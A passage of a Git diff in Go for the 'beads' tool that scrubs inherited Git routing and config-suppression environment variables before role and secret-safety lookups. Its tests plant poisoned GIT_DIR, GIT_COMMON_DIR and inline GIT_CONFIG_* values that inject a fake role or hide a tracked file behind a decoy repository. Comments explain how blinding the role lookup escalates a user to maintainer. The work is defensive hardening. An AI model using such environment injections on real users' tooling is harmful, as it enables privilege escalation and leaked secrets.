"USERPROFILE", "XDG_CONFIG_HOME"} { + t.Setenv(key, home) + } + for _, layout := range []string{"regular", "bare"} { + t.Run(layout, func(t *testing.T) { + setup := setupRegularWorktreeRepo + if layout == "bare" { + setup = setupBareParentWorktree + } + main, target := setup(t) + decoyMain, decoy := setup(t) + for _, dir := range []string{main, decoyMain} { + if err := os.MkdirAll(filepath.Join(dir, ".beads", "dolt"), 0755); err != nil { + t.Fatal(err) + } + } + decoyGit := runGitInDir(t, decoy, "rev-parse", "--absolute-git-dir") + start := filepath.Join(target, "sub dir") + if err := os.Mkdir(start, 0755); err != nil { + t.Fatal(err) + } + t.Chdir(decoy) + t.Setenv("BEADS_DIR", filepath.Join(decoyMain, ".beads")) + for _, name := range []string{"ordinary", "decoy", "invalid", "work_tree_only"} { + t.Run(name, func(t *testing.T) { + if name != "ordinary" { + t.Setenv("GIT_WORK_TREE", decoy) + if name != "work_tree_only" { + gitDir := decoyGit + if name == "invalid" { + gitDir = filepath.Join(home, "missing git dir") + } + t.Setenv("GIT_DIR", gitDir) + } + got, err := gitOutput(start, "rev-parse", "--show-toplevel") + if (name == "invalid" && err == nil) || (name != "invalid" && (err != nil || !utils.PathsEqual(got, decoy))) { + t.Fatalf("inherited probe precondition: %q (%v)", got, err) + } + } + before := os.Environ() + if got := FindBeadsDirFrom(start); !utils.PathsEqual(got, filepath.Join(main, ".beads")) { + t.Errorf("explicit discovery = %q, want selected shared .beads", got) + } + cwd, err := os.Getwd() + if err != nil || !utils.PathsEqual(cwd, decoy) || !reflect.DeepEqual(before, os.Environ()) { + t.Errorf("explicit discovery changed process directory/environment: %q (%v)", cwd, err) + } + }) + } + }) + } +} + +func TestSelectedBeadsCanonicalizerIgnoresInheritedRouting(t *testing.T) { + t.Chdir(t.TempDir()) + detached, stable, database := setupDetachedCommitBeadsWorktree(t) + _, decoy, _ := setupDetachedCommitBeadsWorktree(t) + decoyGitDir := runGitInDir(t, filepath.Dir(decoy), "rev-parse", "--absolute-git-dir") + decoyCommonDir := runGitInDir(t, filepath.Dir(decoy), "rev-parse", "--path-format=absolute", "--git-common-dir") + redirect := filepath.Join(t.TempDir(), ".beads") + if err := os.Mkdir(redirect, 0755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(redirect, RedirectFileName), []byte(detached), 0600); err != nil { + t.Fatal(err) + } + for _, tc := range []struct { + name string + env map[string]string + query []string + }{ + {"decoy", map[string]string{"GIT_DIR": decoyGitDir}, []string{"rev-parse", "--abbrev-ref", "HEAD"}}, + {"invalid", map[string]string{"GIT_DIR": filepath.Join(t.TempDir(), "missing git dir")}, []string{"rev-parse", "--abbrev-ref", "HEAD"}}, + {"work_tree_only", map[string]string{"GIT_WORK_TREE": filepath.Dir(decoy)}, []string{"rev-parse", "--show-toplevel"}}, + {"common_dir_only", map[string]string{"GIT_COMMON_DIR": decoyCommonDir}, []string{"rev-parse", "--git-common-dir"}}, + // Linked worktrees stay non-bare regardless of core.bare; observe the config itself. + {"inline_config", map[string]string{"GIT_CONFIG_COUNT": "1", "GIT_CONFIG_KEY_0": "core.bare", "GIT_CONFIG_VALUE_0": "false"}, []string{"config", "--get", "core.bare"}}, + } { + t.Run(tc.name, func(t *testing.T) { + for key, value := range tc.env { + t.Setenv(key, value) + } + t.Setenv("BEADS_DIR", detached) + t.Setenv("BEADS_DB", "") + // Each vector changes the generic query; selected queries keep their own context. + inherited, inheritedErr := gitOutput(filepath.Dir(detached), tc.query...) + selected, err := selectedBeadsGitOutput(filepath.Dir(detached), tc.query...) + if err != nil || (tc.name == "invalid" && inheritedErr == nil) || + (tc.name != "invalid" && (inheritedErr != nil || inherited == selected)) { + t.Fatalf("routing precondition: inherited=%q (%v), selected=%q (%v)", inherited, inheritedErr, selected, err) + } + for _, check := range []struct{ name, got, want string }{ + {"FollowRedirect", FollowRedirect(redirect), stable}, + {"FindBeadsDir", FindBeadsDir(), stable}, + {"FindDatabasePath", FindDatabasePath(), database}, + } { + if !utils.PathsEqual(check.got, check.want) { + t.Errorf("%s = %q, want selected stable path %q", check.name, check.got, check.want) + } + } + }) + } +} + +func TestSelectedBeadsCanonicalizerFallbacks(t *testing.T) { + t.Chdir(t.TempDir()) + for _, name := range []string{"stable_branch", "different_head", "missing_stable"} { + t.Run(name, func(t *testing.T) { + detached, stable, _ := setupDetachedCommitBeadsWorktree(t) + want := detached + switch name { + case "stable_branch": + want = stable + case "different_head": + runGitInDir(t, filepath.Dir(stable), "commit", "--allow-empty", "-m", "Different branch head") + case "missing_stable": + if err := os.Rename(stable, stable+".saved"); err != nil { + t.Fatal(err) + } + } + if got := canonicalizeBeadsDirPath(want); !utils.PathsEqual(got, want) { + t.Errorf("canonical path = %q, want unchanged %q", got, want) + } + }) + } +} + +func TestResolveBeadsDirForRepoIgnoresInheritedRouting(t *testing.T) { + for _, entry := range os.Environ() { + key := gitenv.EntryKey(entry) + if gitenv.IsRoutingKeyForOS(key, runtime.GOOS) { + t.Setenv(key, "") + if err := os.Unsetenv(key); err != nil { + t.Fatal(err) + } + } + } + for _, key := range []string{"HOME", "USERPROFILE", "XDG_CONFIG_HOME"} { + t.Setenv(key, t.TempDir()) + } + // Production ScrubRouting retains this explicit system-config suppression. + t.Setenv("GIT_CONFIG_NOSYSTEM", "1") + targetParent, target := setupRegularWorktreeRepo(t) + decoyParent, decoy := setupRegularWorktreeRepo(t) + want := utils.CanonicalizePath(filepath.Join(targetParent, ".beads")) + for _, dir := range []string{want, filepath.Join(decoyParent, ".beads")} { + if err := os.MkdirAll(dir, 0o750); err != nil { + t.Fatal(err) + } + } + if _, err := os.Stat(filepath.Join(target, ".beads")); !os.IsNotExist(err) { + t.Fatalf("fixture must require common-parent fallback: %v", err) + } + decoyGitDir := runGitInDir(t, decoy, "rev-parse", "--absolute-git-dir") + for _, name := range []string{"decoy", "invalid_git_dir"} { + t.Run(name, func(t *testing.T) { + gitDir := decoyGitDir + if name == "invalid_git_dir" { + gitDir = filepath.Join(t.TempDir(), "missing.git") + } + t.Setenv("GIT_DIR", gitDir) + t.Setenv("GIT_WORK_TREE", decoy) + t.Setenv("GIT_COMMON_DIR", filepath.Join(decoyParent, ".git")) + before := strings.Join(os.Environ(), "\x00") + if got := ResolveBeadsDirForRepo(target); !utils.PathsEqual(got, want) { + t.Errorf("ResolveBeadsDirForRepo() = %q, want target %q", got, want) + } + if strings.Join(os.Environ(), "\x00") != before { + t.Error("resolver changed inherited environment") + } + }) + } +} diff --git a/internal/beads/context.go b/internal/beads/context.go index ceb689c49..1ae45003b 100644 --- a/internal/beads/context.go +++ b/internal/beads/context.go @@ -30,6 +30,7 @@ import ( "sync" "github.com/steveyegge/beads/internal/git" + "github.com/steveyegge/beads/internal/gitenv" ) // UserRole represents the user's relationship to a repository. @@ -234,6 +235,11 @@ func getRepoRootFromPath(path string) (string, error) { // We explicitly set GIT_DIR and GIT_WORK_TREE to ensure git operates on // the correct repository (the one containing .beads/). func (rc *RepoContext) GitCmd(ctx context.Context, args ...string) *exec.Cmd { + return rc.gitCmdWithEnv(ctx, os.Environ(), args...) +} + +// gitCmdWithEnv applies the existing repository pins after the caller policy. +func (rc *RepoContext) gitCmdWithEnv(ctx context.Context, env []string, args ...string) *exec.Cmd { gitArgs := append([]string{"-c", "core.hooksPath="}, args...) cmd := exec.CommandContext(ctx, "git", gitArgs...) cmd.Dir = rc.RepoRoot @@ -244,7 +250,7 @@ func (rc *RepoContext) GitCmd(ctx context.Context, args ...string) *exec.Cmd { // Security: Disable git hooks and templates to prevent code execution // in potentially malicious repositories (SEC-001, SEC-002) - cmd.Env = append(os.Environ(), + cmd.Env = append(env, "GIT_TEMPLATE_DIR=", // Disable templates "GIT_DIR="+gitDir, // Ensure git uses the correct .git directory "GIT_WORK_TREE="+rc.RepoRoot, // Ensure git uses the correct work tree @@ -573,11 +579,12 @@ func (rc *RepoContext) Role() (UserRole, bool) { return Contributor, true } - output, err := rc.GitOutput(context.Background(), "config", "--get", "beads.role") + cmd := rc.gitCmdWithEnv(context.Background(), gitenv.ScrubRoutingAndSuppression(os.Environ()), "config", "--get", "beads.role") + output, err := cmd.Output() if err != nil { return "", false // Not configured } - return UserRole(strings.TrimSpace(output)), true + return UserRole(strings.TrimSpace(string(output))), true } // IsContributor returns true if user is configured as contributor. diff --git a/internal/beads/context_test.go b/internal/beads/context_test.go index 0c06c6eda..4bcd5eecb 100644 --- a/internal/beads/context_test.go +++ b/internal/beads/context_test.go @@ -7,9 +7,11 @@ import ( "os/exec" "path/filepath" "runtime" + "strings" "testing" "github.com/steveyegge/beads/internal/git" + "github.com/steveyegge/beads/internal/gitenv" ) // TestGetRepoContextForWorkspace_NormalRepo tests context resolution for a normal git repository @@ -1300,3 +1302,98 @@ func initGitRepoWithCommit(dir string) error { commitCmd.Dir = dir return commitCmd.Run() } + +func TestRoleIgnoresInheritedGitRouting(t *testing.T) { + for _, entry := range os.Environ() { + key := gitenv.EntryKey(entry) + if gitenv.IsRoutingKeyForOS(key, runtime.GOOS) { + t.Setenv(key, "") + if err := os.Unsetenv(key); err != nil { + t.Fatal(err) + } + } + } + home, target, decoy := t.TempDir(), t.TempDir(), t.TempDir() + for _, key := range []string{"HOME", "USERPROFILE", "XDG_CONFIG_HOME"} { + t.Setenv(key, home) + } + runGit := func(t *testing.T, args ...string) { + t.Helper() + cmd := exec.Command("git", args...) + cmd.Env = gitenv.ScrubRouting(os.Environ()) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("fixture git %v: %v: %s", args, err, out) + } + } + for _, repo := range []string{target, decoy} { + runGit(t, "-C", repo, "init", "--quiet") + } + runGit(t, "-C", target, "config", "beads.role", "maintainer") + runGit(t, "-C", decoy, "config", "beads.role", "contributor") + t.Chdir(decoy) + rc := &RepoContext{RepoRoot: target} // The caller has already selected this repo. + for _, inline := range []bool{false, true} { + name, generic := "repository", "maintainer" + poison := map[string]string{"GIT_DIR": filepath.Join(decoy, ".git"), "GIT_WORK_TREE": decoy} + if inline { + name, generic = "inline", "injected-role" + poison = map[string]string{"GIT_CONFIG_COUNT": "1", "GIT_CONFIG_KEY_0": "beads.role", "GIT_CONFIG_VALUE_0": generic} + } + t.Run(name, func(t *testing.T) { + for key, value := range poison { + t.Setenv(key, value) + } + if role, ok := rc.Role(); !ok || role != Maintainer { + t.Errorf("Role() = %q, %v; want maintainer, true", role, ok) + } + if out, err := rc.GitOutput(t.Context(), "config", "--get", "beads.role"); err != nil || strings.TrimSpace(out) != generic { + t.Errorf("generic GitOutput = %q, %v; want %q", out, err, generic) + } + for key, value := range poison { + if os.Getenv(key) != value { + t.Errorf("Role changed parent environment %s", key) + } + } + }) + } + t.Run("common_dir", func(t *testing.T) { + commonDir := filepath.Join(decoy, ".git") + t.Setenv("GIT_COMMON_DIR", commonDir) + // Unlike GIT_DIR, this key is not overridden by the generic repository pins. + if role, ok := rc.Role(); !ok || role != Maintainer { + t.Errorf("Role() = %q, %v; want maintainer, true", role, ok) + } + if out, err := rc.GitOutput(t.Context(), "config", "--get", "beads.role"); err != nil || strings.TrimSpace(out) != string(Contributor) { + t.Errorf("generic GitOutput = %q, %v; want contributor", out, err) + } + if os.Getenv("GIT_COMMON_DIR") != commonDir { + t.Error("Role changed parent GIT_COMMON_DIR") + } + }) + t.Run("live_values", func(t *testing.T) { + for _, value := range []string{"contributor", "invalid", ""} { + runGit(t, "-C", target, "config", "beads.role", value) + if role, ok := rc.Role(); !ok || role != UserRole(value) { + t.Errorf("fresh Role() = %q, %v; want %q, true", role, ok, value) + } + } + }) + t.Run("absent_and_global", func(t *testing.T) { + runGit(t, "-C", target, "config", "--unset", "beads.role") + if role, ok := rc.Role(); ok || role != "" { + t.Errorf("absent Role() = %q, %v", role, ok) + } + if err := os.WriteFile(filepath.Join(home, ".gitconfig"), []byte("[beads]\nrole = contributor\n"), 0o600); err != nil { + t.Fatal(err) + } + if role, ok := rc.Role(); !ok || role != Contributor { + t.Errorf("global Role() = %q, %v", role, ok) + } + }) + t.Run("redirected", func(t *testing.T) { + redirected := &RepoContext{RepoRoot: t.TempDir(), IsRedirected: true} + if role, ok := redirected.Role(); !ok || role != Contributor { + t.Errorf("redirected Role() = %q, %v", role, ok) + } + }) +} diff --git a/internal/config/config.go b/internal/config/config.go index 152935554..d3c0a12a9 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -1031,9 +1031,9 @@ func ResolveExternalProjectPath(projectName string) string { // 3. git config user.name // 4. hostname // -// The Git lookup discards inherited routing overrides, including -// GIT_CONFIG_GLOBAL. Set user.name in the default global config location -// rather than selecting a different file through that environment override. +// The Git lookup discards custom GIT_CONFIG_GLOBAL paths and other routing +// overrides, while retaining explicit config suppression. Set user.name in +// the default global config location when global config is enabled. func GetIdentity(flagValue string) string { // 1. Command-line flag takes precedence if flagValue != "" { diff --git a/internal/config/git_routing_test.go b/internal/config/git_routing_test.go index e39722d37..2f56defa7 100644 --- a/internal/config/git_routing_test.go +++ b/internal/config/git_routing_test.go @@ -36,6 +36,10 @@ func TestGetIdentityIgnoresInheritedGitRouting(t *testing.T) { if err := os.WriteFile(poisonConfig, []byte("[user]\n\tname = injected-user\n"), 0o600); err != nil { t.Fatal(err) } + hostname, err := os.Hostname() + if err != nil || hostname == "" { + t.Fatalf("hostname fixture: %q, %v", hostname, err) + } for _, tc := range []struct { name string env map[string]string @@ -45,8 +49,11 @@ func TestGetIdentityIgnoresInheritedGitRouting(t *testing.T) { {name: "repository", env: map[string]string{"GIT_DIR": filepath.Join(decoy, ".git")}, want: "target-user"}, {name: "inline config", env: map[string]string{"GIT_CONFIG_COUNT": "1", "GIT_CONFIG_KEY_0": "user.name", "GIT_CONFIG_VALUE_0": "injected-user"}, want: "target-user"}, {name: "global config", env: map[string]string{"GIT_CONFIG_GLOBAL": poisonConfig}, clearLocal: true, want: "home-user"}, + {name: "null config suppression", env: map[string]string{"GIT_CONFIG_GLOBAL": "/dev/null", "GIT_CONFIG_SYSTEM": "/dev/null"}, clearLocal: true, want: hostname}, } { t.Run(tc.name, func(t *testing.T) { + // Keep each removal case independent of the preceding case. + runConfigProbeGit(t, target, "config", "--local", "user.name", "target-user") if tc.clearLocal { runConfigProbeGit(t, target, "config", "--local", "--unset", "user.name") } diff --git a/internal/config/yaml_config_test.go b/internal/config/yaml_config_test.go index ef413f92a..39634a89e 100644 --- a/internal/config/yaml_config_test.go +++ b/internal/config/yaml_config_test.go @@ -4,10 +4,12 @@ import ( "os" "os/exec" "path/filepath" + "runtime" "strings" "testing" "github.com/spf13/viper" + "github.com/steveyegge/beads/internal/gitenv" "gopkg.in/yaml.v3" ) @@ -1537,3 +1539,90 @@ func TestMetricsNoticeShownResolvesUserGlobalOnly(t *testing.T) { } }) } + +// TestCheckSecretKeyGitSafety_RoutedCheckout covers the call site's two +// environment shapes. The guard is fail-open — a probe that cannot answer reads +// as "not tracked" reads as "allow the secret write" — so each shape has to be +// pinned separately: neither probe alone answers both, and the existing tests +// above are all in-tree-repo, which is the one shape that never needed either. +func TestCheckSecretKeyGitSafety_RoutedCheckout(t *testing.T) { + if _, err := exec.LookPath("git"); err != nil { + t.Skip("routed checkout fixture requires Git") + } + for _, entry := range os.Environ() { + key := gitenv.EntryKey(entry) + if gitenv.IsRoutingKeyForOS(key, runtime.GOOS) { + t.Setenv(key, "") + if err := os.Unsetenv(key); err != nil { + t.Fatal(err) + } + } + } + runGit := func(t *testing.T, dir string, env []string, args ...string) { + t.Helper() + cmd := exec.Command("git", args...) + cmd.Dir, cmd.Env = dir, env + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("fixture git %v: %v: %s", args, err, out) + } + } + writeConfig := func(t *testing.T, workTree string) string { + t.Helper() + beadsDir := filepath.Join(workTree, ".beads") + if err := os.MkdirAll(beadsDir, 0o755); err != nil { + t.Fatal(err) + } + configPath := filepath.Join(beadsDir, "config.yaml") + if err := os.WriteFile(configPath, []byte("json: false\n"), 0o644); err != nil { + t.Fatal(err) + } + return configPath + } + + // The routed layout the scrub-only probe cannot see: the repository lives + // outside the work tree and is reachable only through GIT_DIR/GIT_WORK_TREE, + // so there is no in-tree .git for a scrubbed probe to discover from. + t.Run("legitimate routing refuses a tracked config", func(t *testing.T) { + root := t.TempDir() + gitDir, workTree := filepath.Join(root, "repo.git"), filepath.Join(root, "work") + if err := os.MkdirAll(workTree, 0o755); err != nil { + t.Fatal(err) + } + clean := gitenv.ScrubRoutingAndSuppression(os.Environ()) + runGit(t, root, clean, "init", "--quiet", "--bare", gitDir) + configPath := writeConfig(t, workTree) + routed := append(clean, "GIT_DIR="+gitDir, "GIT_WORK_TREE="+workTree) + runGit(t, workTree, routed, "add", "--", ".beads/config.yaml") + + t.Setenv("GIT_DIR", gitDir) + t.Setenv("GIT_WORK_TREE", workTree) + err := checkSecretGitTracked(configPath, "linear.api_key") + if err == nil { + t.Fatal("secret write allowed into a tracked config: the guard lost its only view of the repository") + } + if !strings.Contains(err.Error(), "refusing to write secret key") { + t.Fatalf("expected a refusal, got: %v", err) + } + }) + + // The poisoned layout the inherited probe cannot see. Pinned alongside so + // the fallback above cannot be widened into a way around the scrub. + t.Run("poisoned routing still refuses a tracked config", func(t *testing.T) { + root, decoy := t.TempDir(), t.TempDir() + clean := gitenv.ScrubRoutingAndSuppression(os.Environ()) + runGit(t, root, clean, "init", "--quiet") + runGit(t, decoy, clean, "init", "--quiet") + configPath := writeConfig(t, root) + runGit(t, root, clean, "add", "--", ".beads/config.yaml") + + t.Setenv("GIT_DIR", filepath.Join(decoy, ".git")) + t.Setenv("GIT_WORK_TREE", decoy) + err := checkSecretGitTracked(configPath, "linear.api_key") + if err == nil { + t.Fatal("secret write allowed into a tracked config: an inherited GIT_DIR hid the file behind a decoy repository") + } + if !strings.Contains(err.Error(), "refusing to write secret key") { + t.Fatalf("expected a refusal, got: %v", err) + } + }) +} diff --git a/internal/gitenv/routing.go b/internal/gitenv/routing.go index 1e533df0b..44951645e 100644 --- a/internal/gitenv/routing.go +++ b/internal/gitenv/routing.go @@ -83,26 +83,82 @@ func ScrubRouting(env []string) []string { // ScrubRoutingForOS removes Git routing entries using goos environment-key // semantics. It preserves non-routing controls such as GIT_OPTIONAL_LOCKS and -// GIT_NO_REPLACE_OBJECTS. +// GIT_NO_REPLACE_OBJECTS, plus explicit system/global config suppression. +// Custom config paths and inline values still lose their routing authority. +// +// Suppression cannot redirect a read, but it can blind one. Callers whose +// result carries authority must use ScrubRoutingAndSuppression instead. func ScrubRoutingForOS(env []string, goos string) []string { + return scrubRoutingForOS(env, goos, true) +} + +// ScrubRoutingAndSuppression removes Git routing entries using the current +// host's environment-key semantics, including the explicit config suppression +// that ScrubRouting deliberately preserves. +func ScrubRoutingAndSuppression(env []string) []string { + return ScrubRoutingAndSuppressionForOS(env, runtime.GOOS) +} + +// ScrubRoutingAndSuppressionForOS is ScrubRoutingForOS without the config +// suppression exemption: GIT_CONFIG_GLOBAL=/dev/null, GIT_CONFIG_SYSTEM=/dev/null +// and GIT_CONFIG_NOSYSTEM lose their effect along with every other routing key. +// +// Use it wherever a *missing* config value grants privilege rather than merely +// losing a preference. Suppression is harmless for a command that only reports +// what Git sees, but on an authority lookup such as beads.role an inherited +// GIT_CONFIG_NOSYSTEM=1 lets a caller blind the read, and a permissive +// miss-handler (routing.detectFromURL defaults to maintainer) converts that +// blinding into an escalation. Keeping reads and writes of the same key on this +// boundary also stops them from disagreeing about which config file they mean. +func ScrubRoutingAndSuppressionForOS(env []string, goos string) []string { + return scrubRoutingForOS(env, goos, false) +} + +func scrubRoutingForOS(env []string, goos string, keepSuppression bool) []string { cleaned := make([]string, 0, len(env)) for _, entry := range env { if IsRoutingKeyForOS(EntryKey(entry), goos) { - continue + if !keepSuppression || !isConfigSuppressionControl(entry, goos) { + continue + } } cleaned = append(cleaned, entry) } return cleaned } +// isConfigSuppressionControl recognizes the config controls that cannot +// redirect Git at a file of the caller's choosing. IsRoutingKeyForOS stays +// conservative: a key alone cannot distinguish null suppression from a custom +// file that can redirect selected operations. +// +// GIT_CONFIG_NOSYSTEM is preserved value-blind — unlike the null-path forms +// below there is no value it can take that names a file, so Git is left to +// interpret its Boolean, including the "false"/"0" spellings that re-enable +// system config and any invalid value it should report itself. +func isConfigSuppressionControl(entry, goos string) bool { + key := execenv.KeyIdentityForOS(EntryKey(entry), goos) + _, value, assigned := strings.Cut(entry, "=") + if !assigned { + return false + } + switch key { + case execenv.KeyIdentityForOS("GIT_CONFIG_NOSYSTEM", goos): + return true + case execenv.KeyIdentityForOS("GIT_CONFIG_GLOBAL", goos), execenv.KeyIdentityForOS("GIT_CONFIG_SYSTEM", goos): + return value == "/dev/null" || (goos == "windows" && strings.EqualFold(value, "NUL")) + } + return false +} + // ClearRouting permanently removes Git routing entries from the current // process. CLI callers use it as a command-lifetime authority boundary. It -// reports whether any entry was removed. +// retains the same config suppression as ScrubRouting and reports any removal. func ClearRouting() (bool, error) { removed := false for _, entry := range os.Environ() { key := EntryKey(entry) - if !IsRoutingKeyForOS(key, runtime.GOOS) { + if !IsRoutingKeyForOS(key, runtime.GOOS) || isConfigSuppressionControl(entry, runtime.GOOS) { continue } if err := os.Unsetenv(key); err != nil { diff --git a/internal/gitenv/routing_test.go b/internal/gitenv/routing_test.go index c07089b2a..36b733d24 100644 --- a/internal/gitenv/routing_test.go +++ b/internal/gitenv/routing_test.go @@ -2,8 +2,11 @@ package gitenv import ( "os" + "os/exec" + "path/filepath" "reflect" "runtime" + "strings" "testing" ) @@ -47,6 +50,130 @@ func TestScrubRoutingForOSUsesHostKeySemantics(t *testing.T) { } } +func TestScrubRoutingPreservesConfigSuppression(t *testing.T) { + for _, goos := range []string{"linux", "windows"} { + for _, tc := range []struct { + entry string + linux, windows bool + }{ + {"GIT_CONFIG_NOSYSTEM=1", true, true}, + {"GIT_CONFIG_NOSYSTEM=false", true, true}, + {"GIT_CONFIG_NOSYSTEM=invalid", true, true}, + {"GIT_CONFIG_NOSYSTEM", false, false}, + {"GIT_CONFIG_GLOBAL=/dev/null", true, true}, + {"GIT_CONFIG_SYSTEM=/dev/null", true, true}, + {"GIT_CONFIG_GLOBAL=nUl", false, true}, + {"git_config_system=NUL", true, true}, // Lowercase is a distinct POSIX key. + {"GIT_CONFIG_GLOBAL=", false, false}, + {"GIT_CONFIG_SYSTEM=custom.conf", false, false}, + {"GIT_CONFIG_GLOBAL=custom.conf", false, false}, + {"GIT_CONFIG_COUNT=1", false, false}, + } { + t.Run(goos+"/"+tc.entry, func(t *testing.T) { + input := []string{tc.entry, "GIT_DIR=decoy", "KEEP=value"} + want := []string{"KEEP=value"} + if (goos == "linux" && tc.linux) || (goos == "windows" && tc.windows) { + want = append([]string{tc.entry}, want...) + } + if got := ScrubRoutingForOS(input, goos); !reflect.DeepEqual(got, want) || input[0] != tc.entry { + t.Fatalf("filtered environment = %q, want %q; input %q", got, want, input) + } + }) + } + } +} + +// TestScrubRoutingAndSuppressionDropsSuppression is the inverse of the table +// above: every entry ScrubRouting preserves as suppression must lose its effect +// on the authority boundary, because a caller who can blind an authority lookup +// can steer its miss-handler. Non-routing controls still survive both scrubs. +func TestScrubRoutingAndSuppressionDropsSuppression(t *testing.T) { + for _, goos := range []string{"linux", "windows"} { + for _, entry := range []string{ + "GIT_CONFIG_NOSYSTEM=1", + "GIT_CONFIG_NOSYSTEM=false", + "GIT_CONFIG_NOSYSTEM=invalid", + "GIT_CONFIG_GLOBAL=/dev/null", + "GIT_CONFIG_SYSTEM=/dev/null", + "GIT_CONFIG_GLOBAL=custom.conf", + "GIT_CONFIG_COUNT=1", + "GIT_DIR=decoy", + } { + t.Run(goos+"/"+entry, func(t *testing.T) { + input := []string{entry, "GIT_OPTIONAL_LOCKS=1", "KEEP=value"} + want := []string{"GIT_OPTIONAL_LOCKS=1", "KEEP=value"} + // Lowercase POSIX keys are distinct names, so only the + // case-insensitive host drops a folded spelling. + if goos == "linux" && strings.HasPrefix(entry, "git_") { + want = append([]string{entry}, want...) + } + got := ScrubRoutingAndSuppressionForOS(input, goos) + if !reflect.DeepEqual(got, want) || input[0] != entry { + t.Fatalf("filtered environment = %q, want %q; input %q", got, want, input) + } + // The suppression-preserving scrub must be unaffected. + if kept := ScrubRoutingForOS(input, goos); len(kept) < len(got) { + t.Fatalf("ScrubRoutingForOS() = %q dropped more than the authority scrub %q", kept, got) + } + }) + } + } +} + +func TestScrubRoutingGitConfigSuppressionEffects(t *testing.T) { + if _, err := exec.LookPath("git"); err != nil { + t.Skip("real Git config isolation test requires Git") + } + for _, entry := range os.Environ() { + key := EntryKey(entry) + if IsRoutingKeyForOS(key, runtime.GOOS) { + t.Setenv(key, "") + if err := os.Unsetenv(key); err != nil { + t.Fatal(err) + } + } + } + home := t.TempDir() + for _, key := range []string{"HOME", "USERPROFILE", "XDG_CONFIG_HOME"} { + t.Setenv(key, home) + } + custom := filepath.Join(home, "custom.config") + for path, value := range map[string]string{filepath.Join(home, ".gitconfig"): "home", custom: "custom"} { + if err := os.WriteFile(path, []byte("[beads-isolation-fixture]\n\tvalue = "+value+"\n"), 0600); err != nil { + t.Fatal(err) + } + } + query := func(t *testing.T, env []string, want string) { + t.Helper() + cmd := exec.Command("git", "config", "--get", "beads-isolation-fixture.value") + cmd.Dir, cmd.Env = home, env + out, err := cmd.Output() + if want == "" { + if exit, ok := err.(*exec.ExitError); !ok || exit.ExitCode() != 1 || len(out) != 0 { + t.Fatalf("suppressed config = %q (%v), want absence", out, err) + } + } else if err != nil || strings.TrimSpace(string(out)) != want { + t.Fatalf("config value = %q (%v), want %q", out, err, want) + } + } + base := ScrubRouting(os.Environ()) + t.Run("global_null", func(t *testing.T) { + // Pin a null system file separately so the HOME observation is owned. + query(t, append(base, "GIT_CONFIG_SYSTEM="+os.DevNull), "home") + query(t, append(ScrubRouting(append(base, "GIT_CONFIG_GLOBAL="+os.DevNull)), "GIT_CONFIG_SYSTEM="+os.DevNull), "") + }) + t.Run("custom_global_still_rejected", func(t *testing.T) { + query(t, append(base, "GIT_CONFIG_GLOBAL="+custom, "GIT_CONFIG_SYSTEM="+os.DevNull), "custom") + query(t, append(ScrubRouting(append(base, "GIT_CONFIG_GLOBAL="+custom)), "GIT_CONFIG_SYSTEM="+os.DevNull), "home") + }) + t.Run("nosystem", func(t *testing.T) { + // An owned system-file override models system config after filtering; + // only NOSYSTEM's preservation is under test in this real Git query. + query(t, append(base, "GIT_CONFIG_GLOBAL="+os.DevNull, "GIT_CONFIG_SYSTEM="+custom, "GIT_CONFIG_NOSYSTEM=0"), "custom") + query(t, append(ScrubRouting(append(base, "GIT_CONFIG_NOSYSTEM=1")), "GIT_CONFIG_GLOBAL="+os.DevNull, "GIT_CONFIG_SYSTEM="+custom), "") + }) +} + func TestRoutingUnicodeKeysFollowSubprocessIdentity(t *testing.T) { for _, goos := range []string{"linux", "windows"} { for _, tc := range []struct { @@ -156,6 +283,9 @@ func TestClearRoutingPreservesNonRoutingGitControls(t *testing.T) { t.Setenv("GIT_CONFIG_COUNT", "1") t.Setenv("GIT_OPTIONAL_LOCKS", "1") t.Setenv("GIT_NO_REPLACE_OBJECTS", "1") + for key, value := range map[string]string{"GIT_CONFIG_NOSYSTEM": "1", "GIT_CONFIG_GLOBAL": os.DevNull, "GIT_CONFIG_SYSTEM": os.DevNull} { + t.Setenv(key, value) + } removed, err := ClearRouting() if err != nil { @@ -174,4 +304,9 @@ func TestClearRoutingPreservesNonRoutingGitControls(t *testing.T) { t.Fatalf("%s = %q, want 1", key, value) } } + for key, want := range map[string]string{"GIT_CONFIG_NOSYSTEM": "1", "GIT_CONFIG_GLOBAL": os.DevNull, "GIT_CONFIG_SYSTEM": os.DevNull} { + if got := os.Getenv(key); got != want { + t.Errorf("config suppression %s = %q, want %q", key, got, want) + } + } } diff --git a/internal/routing/routing.go b/internal/routing/routing.go index 0516939ff..e83019633 100644 --- a/internal/routing/routing.go +++ b/internal/routing/routing.go @@ -9,10 +9,15 @@ import ( "strings" "github.com/steveyegge/beads/internal/git" + "github.com/steveyegge/beads/internal/gitenv" ) +// Role detection is an authority lookup, so it also discards inherited config +// suppression: detectFromURL below answers a missed read with Maintainer, which +// would let a caller escalate by blinding the lookup rather than forging it. var gitCommandRunner = func(repoPath string, args ...string) ([]byte, error) { cmd := exec.Command("git", args...) + cmd.Env = gitenv.ScrubRoutingAndSuppression(os.Environ()) if repoPath != "" { cmd.Dir = repoPath } diff --git a/internal/routing/routing_test.go b/internal/routing/routing_test.go index 9e0733595..338b172fe 100644 --- a/internal/routing/routing_test.go +++ b/internal/routing/routing_test.go @@ -4,12 +4,15 @@ import ( "errors" "io" "os" + "os/exec" "path/filepath" "reflect" + "runtime" "strings" "testing" "github.com/steveyegge/beads/internal/git" + "github.com/steveyegge/beads/internal/gitenv" ) func TestDetermineTargetRepo(t *testing.T) { @@ -461,3 +464,143 @@ func TestDetectUserRole_JJSecondaryWorkspace_NonCwdRepoPath(t *testing.T) { t.Errorf("expected no role-not-configured warning, got stderr:\n%s", stderr) } } + +func TestDetectUserRoleIgnoresInheritedGitRouting(t *testing.T) { + for _, entry := range os.Environ() { + key := gitenv.EntryKey(entry) + if gitenv.IsRoutingKeyForOS(key, runtime.GOOS) { + t.Setenv(key, "") + if err := os.Unsetenv(key); err != nil { + t.Fatal(err) + } + } + } + t.Chdir(t.TempDir()) // The explicit target must also work outside CWD. + runGit := func(t *testing.T, repo string, args ...string) { + t.Helper() + cmd := exec.Command("git", args...) + cmd.Dir = repo + cmd.Env = gitenv.ScrubRouting(os.Environ()) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("fixture git %v: %v: %s", args, err, out) + } + } + for _, tc := range []struct { + name, role, 